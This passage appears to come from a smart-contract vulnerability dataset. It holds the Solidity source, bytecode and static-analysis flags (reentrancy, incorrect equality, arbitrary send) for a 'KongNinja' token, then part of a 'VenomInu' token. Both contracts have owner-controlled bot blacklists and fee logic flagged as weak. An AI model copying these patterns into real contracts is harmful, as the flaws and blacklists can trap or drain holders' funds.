"SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract KongNinja is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _tTotal = 1e12 * 10**9; uint256 private constant _MAX = ~uint256(0); uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; uint private constant _decimals = 9; uint256 private _teamFee = 12; uint256 private _previousteamFee = _teamFee; string private constant _name = "KongNinja"; string private constant _symbol = "KongNinja"; address payable private _feeAddress; // Uniswap Pair IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; uint256 private _initialLimitDuration; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from]); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(3).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(12).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(12).div(100); uint256 burnCount = contractTokenBalance.div(4); contractTokenBalance -= burnCount; _burnToken(burnCount); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _burnToken(uint256 burnCount) private lockTheSwap(){ _transfer(address(this), address(0xdead), burnCount); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initContract(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function openTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; _initialLimitDuration = _launchTime + (3 minutes); } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee <= 12, "not larger than 12%"); _teamFee = fee; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103c1578063cf0848f7146103d6578063cf9d4afa146103f6578063dd62ed3e14610416578063e6ec64ec1461045c578063f2fde38b1461047c57600080fd5b8063715018a6146103245780638da5cb5b1461033957806390d49b9d1461036157806395d89b4114610172578063a9059cbb14610381578063b515566a146103a157600080fd5b806331c2d8471161010857806331c2d8471461023d5780633bbac5791461025d578063437823ec14610296578063476343ee146102b65780635342acb4146102cb57806370a082311461030457600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b357806318160ddd146101e357806323b872dd14610209578063313ce5671461022957600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5061017061049c565b005b34801561017e57600080fd5b5060408051808201825260098152684b6f6e674e696e6a6160b81b602082015290516101aa919061188e565b60405180910390f35b3480156101bf57600080fd5b506101d36101ce366004611908565b6104e8565b60405190151581526020016101aa565b3480156101ef57600080fd5b50683635c9adc5dea000005b6040519081526020016101aa565b34801561021557600080fd5b506101d3610224366004611934565b6104ff565b34801561023557600080fd5b5060096101fb565b34801561024957600080fd5b5061017061025836600461198b565b610568565b34801561026957600080fd5b506101d3610278366004611a50565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a257600080fd5b506101706102b1366004611a50565b6105fe565b3480156102c257600080fd5b5061017061064c565b3480156102d757600080fd5b506101d36102e6366004611a50565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031057600080fd5b506101fb61031f366004611a50565b610686565b34801561033057600080fd5b506101706106a8565b34801561034557600080fd5b506000546040516001600160a01b0390911681526020016101aa565b34801561036d57600080fd5b5061017061037c366004611a50565b6106de565b34801561038d57600080fd5b506101d361039c366004611908565b610758565b3480156103ad57600080fd5b506101706103bc36600461198b565b610765565b3480156103cd57600080fd5b5061017061087e565b3480156103e257600080fd5b506101706103f1366004611a50565b610935565b34801561040257600080fd5b50610170610411366004611a50565b610980565b34801561042257600080fd5b506101fb610431366004611a6d565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046857600080fd5b50610170610477366004611aa6565b610bdb565b34801561048857600080fd5b50610170610497366004611a50565b610c51565b6000546001600160a01b031633146104cf5760405162461bcd60e51b81526004016104c690611abf565b60405180910390fd5b60006104da30610686565b90506104e581610ce9565b50565b60006104f5338484610e63565b5060015b92915050565b600061050c848484610f87565b61055e843361055985604051806060016040528060288152602001611c3a602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611345565b610e63565b5060019392505050565b6000546001600160a01b031633146105925760405162461bcd60e51b81526004016104c690611abf565b60005b81518110156105fa576000600560008484815181106105b6576105b6611af4565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f281611b20565b915050610595565b5050565b6000546001600160a01b031633146106285760405162461bcd60e51b81526004016104c690611abf565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156105fa573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546104f99061137f565b6000546001600160a01b031633146106d25760405162461bcd60e51b81526004016104c690611abf565b6106dc6000611403565b565b6000546001600160a01b031633146107085760405162461bcd60e51b81526004016104c690611abf565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b60006104f5338484610f87565b6000546001600160a01b0316331461078f5760405162461bcd60e51b81526004016104c690611abf565b60005b81518110156105fa57600c5482516001600160a01b03909116908390839081106107be576107be611af4565b60200260200101516001600160a01b03161415801561080f5750600b5482516001600160a01b03909116908390839081106107fb576107fb611af4565b60200260200101516001600160a01b031614155b1561086c5760016005600084848151811061082c5761082c611af4565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061087681611b20565b915050610792565b6000546001600160a01b031633146108a85760405162461bcd60e51b81526004016104c690611abf565b600c54600160a01b900460ff1661090c5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104c6565b600c805460ff60b81b1916600160b81b17905542600d8190556109309060b4611b3b565b600e55565b6000546001600160a01b0316331461095f5760405162461bcd60e51b81526004016104c690611abf565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109aa5760405162461bcd60e51b81526004016104c690611abf565b600c54600160a01b900460ff1615610a125760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104c6565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8d9190611b53565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ada573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610afe9190611b53565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6f9190611b53565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c055760405162461bcd60e51b81526004016104c690611abf565b600c811115610c4c5760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031322560681b60448201526064016104c6565b600855565b6000546001600160a01b03163314610c7b5760405162461bcd60e51b81526004016104c690611abf565b6001600160a01b038116610ce05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104c6565b6104e581611403565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d3157610d31611af4565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dae9190611b53565b81600181518110610dc157610dc1611af4565b6001600160a01b039283166020918202929092010152600b54610de79130911684610e63565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e20908590600090869030904290600401611b70565b600060405180830381600087803b158015610e3a57600080fd5b505af1158015610e4e573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610ec55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c6565b6001600160a01b038216610f265760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c6565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610feb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c6565b6001600160a01b03821661104d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c6565b600081116110af5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c6565b6001600160a01b03831660009081526005602052604090205460ff16156110d557600080fd5b6001600160a01b03831660009081526004602052604081205460ff1615801561111757506001600160a01b03831660009081526004602052604090205460ff16155b801561112d5750600c54600160a81b900460ff16155b801561115d5750600c546001600160a01b038581169116148061115d5750600c546001600160a01b038481169116145b1561133357600c54600160b81b900460ff166111bb5760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104c6565b50600c546001906001600160a01b0385811691161480156111ea5750600b546001600160a01b03848116911614155b80156111f7575042600e54115b1561123f57600061120784610686565b90506112286064611222683635c9adc5dea000006003611453565b906114d2565b6112328483611514565b111561123d57600080fd5b505b600d5442141561126d576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061127830610686565b600c54909150600160b01b900460ff161580156112a35750600c546001600160a01b03868116911614155b1561133157801561133157600c80546112d69160649161122291906112d0906001600160a01b0316610686565b90611453565b81111561130257600c80546112ff9160649161122291906112d0906001600160a01b0316610686565b90505b600061130f8260046114d2565b905061131b8183611be1565b915061132681611573565b61132f82610ce9565b505b505b61133f848484846115a3565b50505050565b600081848411156113695760405162461bcd60e51b81526004016104c6919061188e565b5060006113768486611be1565b95945050505050565b60006006548211156113e65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c6565b60006113f06116a6565b90506113fc83826114d2565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600082611462575060006104f9565b600061146e8385611bf8565b90508261147b8583611c17565b146113fc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c6565b60006113fc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116c9565b6000806115218385611b3b565b9050838110156113fc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c6565b600c805460ff60b01b1916600160b01b1790556115933061dead83610f87565b50600c805460ff60b01b19169055565b80806115b1576115b16116f7565b6000806000806115c087611713565b6001600160a01b038d16600090815260016020526040902054939750919550935091506115ed908561175a565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461161c9084611514565b6001600160a01b03891660009081526001602052604090205561163e8161179c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161168391815260200190565b60405180910390a3505050508061169f5761169f600954600855565b5050505050565b60008060006116b36117e6565b90925090506116c282826114d2565b9250505090565b600081836116ea5760405162461bcd60e51b81526004016104c6919061188e565b5060006113768486611c17565b60006008541161170657600080fd5b6008805460095560009055565b60008060008060008061172887600854611828565b9150915060006117366116a6565b90506000806117468a8585611855565b909b909a5094985092965092945050505050565b60006113fc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611345565b60006117a66116a6565b905060006117b48383611453565b306000908152600160205260409020549091506117d19082611514565b30600090815260016020526040902055505050565b6006546000908190683635c9adc5dea0000061180282826114d2565b82101561181f57505060065492683635c9adc5dea0000092509050565b90939092509050565b6000808061183b60646112228787611453565b90506000611849868361175a565b96919550909350505050565b600080806118638685611453565b905060006118718686611453565b9050600061187f838361175a565b92989297509195505050505050565b600060208083528351808285015260005b818110156118bb5785810183015185820160400152820161189f565b818111156118cd576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104e557600080fd5b8035611903816118e3565b919050565b6000806040838503121561191b57600080fd5b8235611926816118e3565b946020939093013593505050565b60008060006060848603121561194957600080fd5b8335611954816118e3565b92506020840135611964816118e3565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561199e57600080fd5b823567ffffffffffffffff808211156119b657600080fd5b818501915085601f8301126119ca57600080fd5b8135818111156119dc576119dc611975565b8060051b604051601f19603f83011681018181108582111715611a0157611a01611975565b604052918252848201925083810185019188831115611a1f57600080fd5b938501935b82851015611a4457611a35856118f8565b84529385019392850192611a24565b98975050505050505050565b600060208284031215611a6257600080fd5b81356113fc816118e3565b60008060408385031215611a8057600080fd5b8235611a8b816118e3565b91506020830135611a9b816118e3565b809150509250929050565b600060208284031215611ab857600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b3457611b34611b0a565b5060010190565b60008219821115611b4e57611b4e611b0a565b500190565b600060208284031215611b6557600080fd5b81516113fc816118e3565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bc05784516001600160a01b031683529383019391830191600101611b9b565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611bf357611bf3611b0a565b500390565b6000816000190483118215151615611c1257611c12611b0a565b500290565b600082611c3457634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200a3b071b45d36917f4e3d1d7d9ef96ca6a92f426481ec502d3f47e24ac3c06c264736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,055
0xfcaec4d84132bd0f23e1ba30d5a1aaeb4e1f0215
/** ⚫️ VENOM INU ⚫️ - Contract will be renounced + Lp locked ▪️Tax 5% Buy , 8% Sell ⚫️Website: https://venominu.space/ ⚫️Telegram: https://t.me/VenomInu - 1% MaxBuy + 3% MaxWallet for whale protection for first 10-30 mins Milestones: - If MC hits 500k LP extended to 1 year */ pragma solidity ^0.8.7; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract VenomInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "VenomInu"; string private constant _symbol = "VenomInu"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0xf230C31b29728E8F452E23Eb3a1A615334F87d47); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 5; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 8; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1000000000 * 10**9; _maxWalletSize = 3000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory 